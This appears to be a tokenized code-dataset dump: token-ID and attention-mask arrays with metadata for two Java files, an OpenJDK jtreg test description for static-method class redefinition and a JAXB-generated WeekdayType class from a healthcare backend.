782,
5567,
1630,
45,
910,
655,
49,
648,
1989,
848,
353,
320,
303,
434,
327,
655,
630,
762,
848,
461,
64,
303,
453,
36032,
1353,
51,
123,
45,
332,
3233,
1533,
332,
494,
655,
1110,
303,
648,
840,
299,
640,
1630,
1301,
45,
655,
1110,
303,
364,
13716,
51,
688,
45,
840,
49,
556,
413,
6570,
1630,
45,
655,
49,
1989,
848,
1110,
353,
339,
736,
1041,
5567,
619,
1533,
682,
338,
496,
772,
1533,
280,
1533,
682,
338,
496,
5774,
477,
458,
3845,
829,
341,
3395,
8800,
9075,
588,
353,
782,
1035,
1630,
45,
413,
6570,
1630,
1533,
848,
353,
320,
303,
434,
327,
1533,
630,
762,
848,
461,
64,
303,
453,
36032,
1353,
51,
123,
45,
332,
688,
1533,
332,
494,
1533,
51,
114,
577,
1110,
303,
648,
840,
299,
640,
1630,
1301,
45,
1533,
51,
5175,
365,
1110,
303,
364,
13716,
51,
688,
45,
840,
49,
1533,
1110,
303,
758,
5134,
492,
353,
339,
736,
1041,
496,
620,
341,
1533,
840,
331,
2716,
2764,
347,
341,
1437,
451,
7872,
682,
338,
496,
772,
3423,
280,
1533,
2764,
682,
588,
353,
413,
6570,
1630,
640,
1630,
1094,
45,
648,
3423,
848,
320,
461,
364,
13716,
51,
390,
45,
985,
312,
339,
736,
1041,
496,
620,
341,
1533,
642,
341,
2716,
655,
682,
338,
496,
772,
655,
244,
1533,
655,
682,
588,
353,
413,
6570,
1630,
640,
1630,
45,
910,
655,
848,
353,
320,
303,
456,
327,
413,
6570,
1630,
1533,
518,
364,
13716,
848,
320,
416,
434,
327,
1533,
51,
390,
26570,
577,
941,
3591,
45,
655,
848,
848,
461,
1533,
64,
303,
339,
303,
461,
762,
64,
353,
339,
736,
1041,
496,
620,
619,
10033,
563,
341,
7872,
682,
588,
353,
14730,
640,
13716,
5740,
365,
320,
461,
364,
13716,
51,
5174,
492,
339,
736,
1041,
496,
620,
341,
1470,
451,
7872,
682,
588,
353,
648,
640,
13716,
1269,
365,
320,
461,
364,
13716,
51,
911,
492,
339,
736,
1041,
496,
620,
341,
1437,
451,
7872,
682,
588,
353,
5068,
65,
413,
6570,
1630,
868,
640,
13716,
365,
320,
461,
364,
13716,
64,
339,
736,
1041,
496,
620,
341,
1437,
451,
22142,
11887,
682,
588,
353,
5068,
65,
413,
6570,
26570,
868,
640,
1089,
12404,
40330,
365,
320,
461,
364,
1089,
12404,
40330,
64,
339,
736,
1041,
496,
620,
341,
1437,
451,
15688,
1218,
682,
588,
353,
5068,
65,
413,
6570,
26576,
351,
868,
640,
26576,
1218,
365,
320,
461,
364,
26576,
1218,
64,
339,
736,
1041,
3365,
619,
1533,
682,
338,
496,
772,
655,
280,
1533,
655,
682,
588,
353,
964,
782,
6310,
1630,
45,
910,
655,
848,
353,
320,
303,
434,
327,
655,
630,
762,
848,
461,
64,
303,
453,
36032,
1353,
51,
123,
45,
332,
3850,
1533,
332,
494,
655,
1110,
303,
456,
327,
413,
6570,
1630,
1533,
518,
364,
13716,
848,
320,
416,
434,
327,
655,
51,
3591,
45,
1533,
51,
390,
26570,
577,
365,
848,
848,
320,
310,
364,
13716,
51,
2564,
45,
1533,
1110,
310,
758,
5134,
492,
310,
461,
64,
416,
339,
303,
339,
353,
339,
736,
1041,
3365,
619,
1533,
682,
338,
496,
772,
1533,
280,
413,
6570,
1630,
391,
26027,
1946,
682,
588,
353,
581,
782,
6310,
1630,
45,
413,
6570,
1630,
1533,
848,
353,
320,
303,
364,
13716,
51,
2564,
45,
1533,
1110,
353,
339,
736,
453,
1041,
3365,
683,
478,
337,
7872,
6419,
9211,
353,
453,
244,
588,
353,
453,
581,
782,
6310,
9027,
45,
848,
5246,
453,
320,
353,
453,
280,
1175,
14730,
580,
299,
364,
13716,
51,
5174,
492,
353,
453,
280,
2236,
327,
580,
51,
16408,
365,
848,
320,
353,
453,
281,
413,
6570,
1630,
1533,
299,
327,
89,
6570,
1630,
46,
580,
51,
1995,
492,
353,
453,
281,
434,
327,
1533,
51,
35776,
365,
848,
320,
353,
453,
981,
364,
13716,
51,
2564,
45,
1533,
1110,
353,
453,
281,
339,
353,
453,
280,
339,
353,
453,
339,
736,
1041,
758,
341,
1437,
451,
7872,
682,
338,
496,
772,
7872,
280,
1437,
451,
7872,
682,
338,
496,
5774,
477,
458,
3845,
829,
341,
3395,
13478,
682,
588,
353,
782,
758,
13716,
45,
5068,
65,
413,
6570,
1630,
868,
7872,
848,
5246,
320,
303,
434,
327,
7872,
882,
762,
848,
320,
416,
453,
36032,
1353,
51,
123,
45,
332,
489,
7872,
332,
494,
7872,
51,
911,
365,
1110,
416,
364,
13716,
299,
7872,
64,
416,
758,
5134,
492,
303,
339,
353,
339,
736,
1041,
758,
341,
332,
2882,
39,
4666,
682,
338,
496,
5774,
1674,
2353,
829,
3395,
13478,
1429,
331,
1932,
458,
3654,
682,
588,
353,
782,
758,
5134,
365,
320,
364,
5134,
299,
878,
64,
339,
736,
453,
9528,
12117,
353,
453,
477,
458,
36032,
1747,
51,
1719,
1563,
365,
353,
453,
924,
910,
1565,
1563,
365,
353,
453,
320,
353,
453,
280,
27194,
40563,
299,
556,
27194,
45,
332,
12727,
51,
2842,
51,
601,
411,
23239,
51,
2062,
1110,
353,
453,
280,
461,
40563,
51,
1664,
45,
556,
2833,
365,
1110,
353,
453,
339,
736,
453,
9528,
12117,
736,
453,
477,
458,
3845,
829,
341,
413,
6570,
1081,
3697,
1429,
580,
13137,
563,
15248,
353,
1041,
2886,
341,
46089,
2091,
3116,
391,
341,
12073,
1180,
822,
682,
338,
496,
772,
7679,
283,
4962,
391,
7679,
4144,
682,
338,
496,
620,
878,
434,
822,
1421,
2602,
7519,
6658,
682,
588,
353,
1922,
2886,
89,
6570,
1081,
45,
1922,
7679,
848,
353,
320,
303,
453,
36032,
1353,
51,
123,
45,
332,
2882,
12073,
1180,
332,
494,
477,
494,
332,
4166,
332,
494,
364,
5134,
494,
332,
7679,
332,
494,
7679,
1110,
303,
1922,
2170,
299,
920,
64,
303,
434,
327,
364,
5134,
1293,
7679,
848,
320,
453,
1616,
364,
2248,
1293,
7679,
416,
910,
16780,
299,
40114,
1005,
492,
416,
1614,
320,
310,
16900,
3989,
28772,
299,
36032,
991,
51,
390,
3169,
116,
47413,
36202,
45,
16780,
1110,
310,
47163,
21944,
299,
556,
47163,
45,
28772,
1110,
310,
2886,
32553,
45,
21944,
1110,
310,
28772,
51,
2698,
492,
453,
4248,
341,
3458,
15037,
318,
580,
1950,
310,
2170,
299,
878,
64,
416,
339,
2385,
327,
6300,
503,
848,
320,
4488,
36032,
1353,
51,
943,
459,
89,
6570,
3395,
2886,
822,
332,
494,
16780,
494,
332,
457,
52,
84,
1067,
332,
494,
503,
51,
7724,
365,
1110,
416,
339,
416,
364,
5134,
299,
920,
64,
303,
339,
303,
461,
2170,
64,
353,
339,
736,
1041,
1511,
341,
46089,
2091,
3116,
664,
341,
12073,
1180,
822,
682,
338,
496,
5774,
341,
822,
458,
1511,
1773,
5065,
449,
434,
3443,
1511,
580,
458,
20428,
682,
588,
353,
782,
1511,
89,
6570,
1081,
365,
353,
320,
303,
453,
36032,
1353,
51,
123,
45,
332,
870,
12073,
1180,
332,
494,
477,
494,
332,
332,
494,
364,
2248,
1110,
303,
434,
327,
364,
2248,
848,
461,
64,
303,
43003,
492,
303,
364,
2248,
299,
878,
64,
353,
339,
736,
453,
9528,
8298,
353,
453,
9627,
480,
19612,
736,
1041,
2886,
341,
46089,
2091,
3116,
391,
331,
12073,
1180,
822,
682,
338,
496,
772,
21944,
280,
822,
7294,
682,
588,
353,
964,
782,
2886,
32553,
45,
47163,
21944,
848,
2589,
6300,
353,
320,
303,
453,
36032,
1353,
51,
123,
459,
2882,
1377,
332,
494,
364,
26570,
577,
1110,
303,
21944,
51,
1664,
4139,
3290,
829,
9068,
116,
47413,
10706,
925,
120,
449,
925,
120,
97,
115,
411,
36032,
2080,
51,
819,
1046,
36032,
1747,
51,
1719,
1563,
365,
1110,
303,
21944,
51,
1664,
459,
1876,
97,
115,
742,
303,
21944,
51,
1664,
459,
244,
22142,
25920,
120,
13512,
115,
411,
364,
26570,
577,
1110,
303,
456,
327,
413,
6570,
1630,
1533,
518,
364,
13716,
848,
320,
416,
453,
18352,
1536,
416,
910,
1536,
299,
1533,
51,
390,
26570,
577,
492,
416,
453,
36032,
1353,
51,
123,
459,
1180,
2886,
1035,
22142,
350,
39,
494,
1536,
494,
332,
5852,
1110,
416,
21944,
51,
1664,
459,
283,
2480,
25920,
120,
1508,
449,
1507,
925,
105,
97,
115,
411,
1536,
49,
327,
1151,
51,
24849,
365,
568,
244,
53,
8900,
46,
1110,
303,
339,
303,
456,
327,
413,
6570,
26576,
351,
15688,
351,
518,
364,
26576,
1218,
848,
320,
416,
21944,
51,
1664,
459,
283,
15688,
351,
742,
416,
456,
327,
910,
395,
518,
15688,
351,
51,
114,
520,
1014,
848,
21944,
51,
1664,
459,
25920,
120,
22074,
395,
1110,
416,
21944,
51,
1664,
5564,
115,
742,
303,
339,
303,
21944,
51,
1664,
459,
244,
962,
20490,
97,
115,
742,
303,
21944,
51,
1664,
459,
1510,
722,
97,
115,
742,
353,
339,
736,
1041,
6600,
341,
2091,
655,
664,
331,
16780,
682,
338,
496,
772,
16780,
283,
822,
29082,
682,
338,
496,
620,
341,
2091,
655,
49,
21777,
49,
341,
655,
2688,
341,
5122,
327,
444,
651,
4956,
689,
1180,
678,
682,
588,
353,
964,
910,
16389,
20196,
1005,
45,
910,
16780,
848,
353,
320,
303,
648,
1496,
299,
16780,
51,
27268,
24705,
494,
244,
54,
64,
303,
648,
962,
280,
299,
16780,
51,
27268,
49059,
303,
461,
327,
962,
868,
1496,
848,
68,
16780,
51,
8724,
45,
1496,
49,
962,
848,
518,
16780,
51,
8724,
45,
1496,
1110,
353,
339,
736,
1041,
1511,
341,
1377,
822,
682,
338,
496,
5774,
434,
341,
822,
1976,
666,
2325,
9602,
580,
480,
2886,
619,
3517,
12073,
1180,
822,
682,
588,
353,
964,
782,
43003,
45,
848,
353,
320,
303,
910,
16780,
299,
40114,
1005,
492,
303,
1614,
320,
416,
28731,
3220,
299,
36032,
991,
51,
390,
3169,
116,
47413,
33167,
45,
16780,
1110,
416,
434,
327,
3220,
630,
762,
848,
320,
453,
822,
1976,
666,
2325,
327,
290,
458,
666,
18990,
46,
310,
36032,
1353,
51,
943,
459,
781,
1307,
50,
12531,
575,
1307,
50,
870,
63,
332,
494,
16780,
1110,
310,
364,
26570,
577,
299,
16389,
20196,
1005,
45,
16780,
1110,
310,
2886,
89,
6570,
1081,
45,
878,
1110,
310,
461,
64,
416,
339,
1704,
453,
36032,
1353,
51,
123,
45,
332,
870,
1377,
332,
494,
16780,
1110,
416,
910,
1646,
299,
3220,
51,
29240,
492,
416,
648,
14091,
299,
244,
54,
64,
416,
453,
36032,
1353,
51,
123,
45,
4418,
51,
3127,
45,
7873,
46,
494,
17903,
494,
1646,
1110,
416,
2236,
327,
1646,
882,
762,
848,
320,
310,
1646,
299,
1646,
51,
5475,
492,
310,
648,
3423,
299,
1646,
51,
7149,
45,
40506,
1110,
310,
434,
327,
3423,
2394,
244,
53,
848,
1646,
299,
1646,
51,
8724,
45,
244,
53,
49,
3423,
1110,
310,
434,
327,
1646,
51,
1340,
365,
868,
244,
53,
848,
320,
633,
910,
1197,
20215,
299,
36032,
671,
51,
3045,
1501,
9634,
45,
1646,
1110,
633,
434,
327,
20215,
51,
1340,
868,
244,
53,
848,
320,
343,
434,
327,
20215,
96,
53,
1015,
3591,
45,
332,
1876,
39,
848,
848,
320,
343,
339,
832,
434,
327,
20215,
96,
53,
1015,
3591,
45,
332,
20490,
39,
848,
848,
320,
1108,
456,
327,
429,
851,
66,
54,
64,
851,
65,
9437,
51,
1340,
64,
3323,
112,
848,
320,
419,
434,
327,
20215,
96,
112,
1015,
1340,
365,
868,
244,
53,
848,
320,
1764,
364,
26570,
577,
299,
20215,
96,
112,
988,
1764,
1644,
64,
419,
339,
1108,
339,
343,
339,
832,
434,
327,
20215,
96,
53,
1015,
3591,
45,
332,
963,
39,
848,
848,
320,
1108,
456,
327,
429,
851,
66,
54,
64,
851,
65,
9437,
51,
1340,
64,
3323,
112,
848,
320,
419,
453,
36032,
1353,
51,
123,
459,
9437,
1388,
494,
851,
494,
332,
2805,
350,
39,
494,
20215,
96,
112,
98,
1110,
419,
434,
327,
20215,
96,
112,
1015,
1340,
365,
868,
244,
53,
848,
320,
1764,
910,
22142,
444,
299,
20215,
96,
112,
988,
1764,
648,
1989,
299,
413,
1861,
1530,
51,
390,
26570,
1530,
492,
453,
4051,
1989,
1764,
456,
327,
3323,
112,
64,
851,
65,
9437,
51,
1340,
64,
3323,
112,
848,
320,
547,
434,
327,
20215,
96,
112,
1015,
1340,
365,
868,
244,
53,
848,
320,
2876,
434,
327,
20215,
96,
112,
1015,
3591,
10364,
1507,
678,
848,
320,
733,
3323,
112,
64,
733,
434,
327,
851,
350,
20215,
51,
1340,
848,
320,
3792,
1989,
299,
244,
53,
3144,
53,
53,
53,
53,
53,
53,
542,
4418,
51,
11824,
45,
20215,
96,
112,
98,
1110,
733,
339,
2876,
339,
2876,
453,
1644,
64,
547,
339,
1764,
339,
1764,
5567,
1630,
45,
22142,
444,
49,
1989,
1110,
1764,
1644,
64,
419,
339,
1108,
339,
281,
343,
339,
832,
434,
327,
20215,
96,
53,
1015,
3591,
45,
332,
1032,
39,
848,
848,
320,
1108,
910,
1377,
100,
444,
299,
20215,
96,
54,
988,
1108,
453,
4314,
2323,
331,
12073,
1180,
822,
244,
1083,
339,
832,
434,
327,
20215,
96,
53,
1015,
3591,
45,
332,
23770,
351,
39,
848,
848,
320,
1108,
413,
6570,
26576,
351,
15688,
351,
299,
556,
413,
6570,
26576,
351,
492,
1108,
456,
327,
429,
851,
66,
54,
64,
851,
65,
9437,
51,
1340,
64,
3323,
112,
848,
320,
419,
434,
327,
20215,
96,
112,
1015,
1340,
365,
868,
244,
53,
848,
320,
1764,
15688,
351,
51,
688,
16554,
45,
20215,
96,
112,
98,
1110,
419,
339,
1108,
339,
1108,
364,
26576,
1218,
51,
688,
45,
15688,
351,
1110,
343,
339,
633,
339,
310,
339,
310,
1646,
299,
3220,
51,
29240,
492,
310,
3323,
14091,
64,
416,
339,
416,
3220,
51,
2698,
492,
303,
339,
2385,
327,
6300,
503,
848,
320,
416,
453,
4314,
416,
36032,
1353,
51,
943,
45,
332,
32553,
1590,
3773,
332,
494,
503,
51,
7724,
365,
1110,
303,
339,
303,
453,
36032,
1353,
51,
123,
45,
332,
89,
6570,
100,
1081,
1511,
822,
63,
21486,
51,
10868,
332,
494,
640,
13716,
1269,
365,
1110,
353,
339,
28117,
453,
9528,
8298,
353,
453,
2800,
3640,
736,
1041,
4184,
341,
2091,
391,
40143,
304,
2224,
682,
338,
496,
772,
18209,
244,
4962,
391,
18209,
341,
1716,
822,
327,
344,
580,
5394,
46,
682,
338,
496,
772,
28772,
282,
31703,
7294,
682,
338,
496,
620,
3000,
50,
1710,
821,
434,
3136,
682,
588,
353,
910,
4184,
1047,
284,
304,
45,
1922,
18209,
49,
47163,
28772,
848,
2589,
6300,
353,
320,
303,
28772,
51,
1664,
4139,
3290,
829,
9068,
116,
47413,
10706,
925,
120,
449,
925,
120,
97,
115,
411,
36032,
2080,
51,
819,
1046,
36032,
1747,
51,
1719,
1563,
365,
1110,
303,
28772,
51,
1664,
459,
1876,
97,
115,
742,
303,
28772,
51,
1664,
459,
244,
22142,
25920,
120,
13512,
115,
411,
364,
26570,
577,
1110,
303,
456,
327,
413,
6570,
1630,
1533,
518,
364,
13716,
848,
320,
416,
453,
18352,
1536,
416,
910,
1536,
299,
6919,
368,
5694,
494,
1533,
51,
390,
26570,
577,
365,
494,
4956,
368,
884,
416,
453,
36032,
1353,
51,
123,
459,
1180,
2886,
1035,
22142,
332,
494,
1536,
1110,
416,
28772,
51,
1664,
459,
283,
1533,
25920,
120,
13512,
115,
411,
1536,
1110,
303,
339,
303,
456,
327,
413,
6570,
26576,
351,
15688,
351,
518,
364,
26576,
1218,
848,
320,
416,
28772,
51,
1664,
459,
283,
15688,
351,
742,
416,
456,
327,
910,
395,
518,
15688,
351,
51,
114,
520,
1014,
848,
28772,
51,
1664,
459,
25920,
120,
22074,
395,
1110,
416,
28772,
51,
1664,
5564,
115,
742,
303,
339,
303,
28772,
51,
1664,
459,
244,
962,
20490,
97,
115,
742,
303,
28772,
51,
1664,
459,
1510,
722,
97,
115,
742,
303,
461,
332,
368,
1180,
884,
353,
339,
736,
1041,
4184,
341,
2091,
391,
34729,
346,
2224,
682,
338,
496,
772,
18209,
244,
4962,
391,
18209,
341,
1716,
822,
327,
344,
580,
5394,
46,
682,
338,
496,
772,
28772,
282,
31703,
7294,
682,
338,
496,
620,
3000,
50,
1710,
821,
434,
3136,
682,
588,
353,
910,
4184,
12404,
35571,
45,
1922,
18209,
49,
47163,
28772,
848,
2589,
6300,
353,
320,
303,
28772,
51,
1664,
45336,
3290,
829,
9068,
116,
47413,
10706,
925,
120,
449,
925,
120,
97,
115,
411,
36032,
2080,
51,
819,
1046,
36032,
1747,
51,
1719,
1563,
365,
1110,
303,
453,
4314,
2800,
3640,
303,
456,
327,
413,
6570,
1630,
328,
518,
364,
13716,
848,
320,
416,
910,
1536,
299,
6919,
2289,
125,
5694,
494,
328,
51,
390,
26570,
577,
365,
494,
4956,
2289,
125,
884,
416,
28772,
51,
1664,
21471,
1032,
25920,
120,
13512,
115,
411,
1536,
1110,
303,
339,
303,
456,
327,
413,
6570,
26576,
351,
15688,
351,
518,
364,
26576,
1218,
848,
320,
416,
28772,
51,
1664,
21471,
23770,
351,
742,
416,
456,
327,
910,
395,
518,
15688,
351,
51,
114,
520,
1014,
848,
28772,
51,
1664,
459,
25920,
120,
22074,
391,
88,
14176,
16554,
45,
395,
848,
1110,
416,
28772,
51,
1664,
5564,
115,
742,
303,
339,
303,
461,
332,
8863,
35571,
884,
353,
339,
736,
1041,
4511,
331,
18722,
655,
664,
40143,
304,
391,
34729,
346,
8361,
682,
338,
496,
772,
395,
280,
40143,
304,
655,
451,
341,
18722,
682,
338,
496,
620,
34729,
346,
655,
451,
341,
18722,
682,
588,
353,
964,
910,
391,
88,
14176,
16554,
45,
910,
395,
848,
353,
320,
303,
648,
3423,
299,
395,
51,
7149,
17075,
912,
303,
461,
395,
51,
8724,
45,
985,
48,
54,
46,
494,
17029,
494,
395,
51,
8724,
45,
53,
49,
985,
312,
353,
339,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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| 54.536609
| true
| true
|
TestDescription.java
|
/FileExtraction/Java_unseen/corretto_corretto-11/test/hotspot/jtreg/vmTestbase/vm/runtime/defmeth/scenarios/StaticMethods_v49_strict_reflect_redefine/TestDescription.java
|
/*
* Copyright (c) 2017, 2018, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* @test
* @modules java.base/jdk.internal.org.objectweb.asm:+open java.base/jdk.internal.org.objectweb.asm.util:+open
*
* @summary converted from VM Testbase vm/runtime/defmeth/scenarios/StaticMethods_v49_strict_reflect_redefine.
* VM Testbase keywords: [defmeth, jdk8, jdk_instrument, quick]
*
* @library /vmTestbase /test/lib
*
* @comment build retransform.jar in current dir
* @run driver vm.runtime.defmeth.shared.BuildJar
*
* @run driver jdk.test.lib.FileInstaller . .
* @run main/othervm/native
* -agentlib:redefineClasses
* -javaagent:retransform.jar
* vm.runtime.defmeth.StaticMethodsTest
* -ver 49
* -flags 2048
* -redefine
* -retransform
* -mode reflect
*/
| 1,792
|
Java
|
.java
|
corretto/corretto-11
| 662
| 105
| 31
|
2019-02-11T20:13:52Z
|
2024-05-09T07:01:40Z
|
97f760a1cbad7beb33ad303c7a585ae0e29068e162df6505e8c5e2647e31600a
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
54,
60,
49,
244,
55,
53,
54,
61,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
499,
222,
1127,
222,
338,
496,
881,
222,
338,
496,
3490,
1401,
51,
1460,
52,
12461,
51,
3269,
51,
1107,
51,
1491,
1857,
51,
7741,
30041,
1693,
1401,
51,
1460,
52,
12461,
51,
3269,
51,
1107,
51,
1491,
1857,
51,
7741,
51,
1058,
30041,
1693,
222,
338,
222,
338,
496,
1386,
12829,
664,
8558,
2128,
1460,
8510,
52,
4700,
52,
610,
17834,
52,
44610,
52,
5983,
8898,
100,
123,
57,
62,
100,
5860,
100,
9069,
100,
287,
1252,
51,
222,
338,
8558,
2128,
1460,
16418,
63,
447,
610,
17834,
49,
614,
4532,
61,
49,
614,
4532,
100,
17967,
49,
8289,
98,
222,
338,
222,
338,
496,
5261,
536,
3166,
1024,
1460,
536,
881,
52,
1379,
222,
338,
222,
338,
496,
3666,
1984,
334,
3824,
51,
6873,
347,
1565,
4937,
222,
338,
496,
1967,
5419,
8510,
51,
4700,
51,
610,
17834,
51,
4206,
51,
3328,
20388,
222,
338,
222,
338,
496,
1967,
5419,
614,
4532,
51,
881,
51,
1379,
51,
991,
30582,
657,
657,
222,
338,
496,
1967,
2594,
52,
2476,
3166,
52,
3737,
222,
338,
665,
449,
4881,
1379,
63,
287,
1252,
8038,
222,
338,
665,
449,
1874,
4881,
63,
287,
3824,
51,
6873,
222,
338,
665,
8510,
51,
4700,
51,
610,
17834,
51,
5983,
8898,
1024,
222,
338,
665,
449,
443,
244,
57,
62,
222,
338,
665,
449,
4560,
244,
55,
53,
57,
61,
222,
338,
665,
449,
287,
1252,
222,
338,
665,
449,
287,
3824,
222,
338,
665,
449,
2832,
10238,
222,
588,
499
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 526
| true
| 70.200893
| true
| true
|
WeekdayType.java
|
/FileExtraction/Java_unseen/taktik_icure-backend/src/main/java/org/taktik/icure/services/external/rest/v1/dto/be/ehealth/kmehr/v20180601/be/fgov/ehealth/standards/kmehr/schema/v1/WeekdayType.java
|
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, v2.2.8-b130911.1802
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2019.06.14 at 03:49:00 PM CEST
//
package org.taktik.icure.services.external.rest.v1.dto.be.ehealth.kmehr.v20180601.be.fgov.ehealth.standards.kmehr.schema.v1;
import java.io.Serializable;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlSeeAlso;
import javax.xml.bind.annotation.XmlType;
import org.taktik.icure.services.external.rest.v1.dto.be.ehealth.kmehr.v20180601.be.fgov.ehealth.standards.kmehr.cd.v1.CDWEEKDAY;
/**
* <p>Java class for weekdayType complex type.
*
* <p>The following schema fragment specifies the expected content contained within this class.
*
* <pre>
* <complexType name="weekdayType">
* <complexContent>
* <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
* <sequence>
* <element name="cd" type="{http://www.ehealth.fgov.be/standards/kmehr/cd/v1}CD-WEEKDAY"/>
* </sequence>
* </restriction>
* </complexContent>
* </complexType>
* </pre>
*
*
*/
@XmlAccessorType(XmlAccessType.FIELD)
@XmlType(name = "weekdayType", propOrder = {
"cd"
})
@XmlSeeAlso({
org.taktik.icure.services.external.rest.v1.dto.be.ehealth.kmehr.v20180601.be.fgov.ehealth.standards.kmehr.schema.v1.ItemType.Regimen.Weekday.class
})
public class WeekdayType implements Serializable
{
private final static long serialVersionUID = 20180601L;
@XmlElement(required = true)
protected CDWEEKDAY cd;
/**
* Gets the value of the cd property.
*
* @return
* possible object is
* {@link CDWEEKDAY }
*
*/
public CDWEEKDAY getCd() {
return cd;
}
/**
* Sets the value of the cd property.
*
* @param value
* allowed object is
* {@link CDWEEKDAY }
*
*/
public void setCd(CDWEEKDAY value) {
this.cd = value;
}
}
| 2,290
|
Java
|
.java
|
taktik/icure-backend
| 19
| 25
| 3
|
2018-03-29T12:01:32Z
|
2022-11-18T08:44:46Z
|
e10660cf4122a9c877256b4d82117e269383a014fb3e57a8340a6721d3eb0113
|
[
325,
222,
325,
1369,
822,
1616,
4741,
829,
341,
4957,
9043,
29327,
456,
7408,
17393,
45,
47329,
46,
9495,
19977,
49,
373,
55,
51,
55,
51,
61,
50,
103,
54,
56,
53,
62,
54,
54,
51,
54,
61,
53,
55,
244,
222,
325,
2819,
350,
102,
995,
366,
544,
574,
1874,
51,
9886,
51,
527,
52,
2608,
52,
8954,
103,
432,
544,
574,
1874,
51,
9886,
51,
527,
52,
2608,
52,
8954,
103,
396,
102,
67,
244,
222,
325,
6213,
23125,
391,
477,
822,
1118,
545,
15058,
12710,
334,
31635,
451,
341,
1932,
5379,
51,
244,
222,
325,
13046,
563,
63,
244,
55,
53,
54,
62,
51,
53,
59,
51,
54,
57,
840,
244,
53,
56,
63,
57,
62,
63,
53,
53,
9401,
409,
4143,
244,
222,
325,
499,
222,
1337,
1105,
51,
121,
11385,
1567,
51,
314,
532,
51,
4270,
51,
6183,
51,
4756,
51,
123,
54,
51,
12292,
51,
883,
51,
106,
9864,
51,
112,
308,
3943,
51,
123,
55,
53,
54,
61,
53,
59,
53,
54,
51,
883,
51,
4658,
1558,
51,
106,
9864,
51,
9165,
120,
51,
112,
308,
3943,
51,
3982,
51,
123,
54,
64,
222,
222,
485,
1401,
51,
735,
51,
12644,
64,
222,
485,
3698,
51,
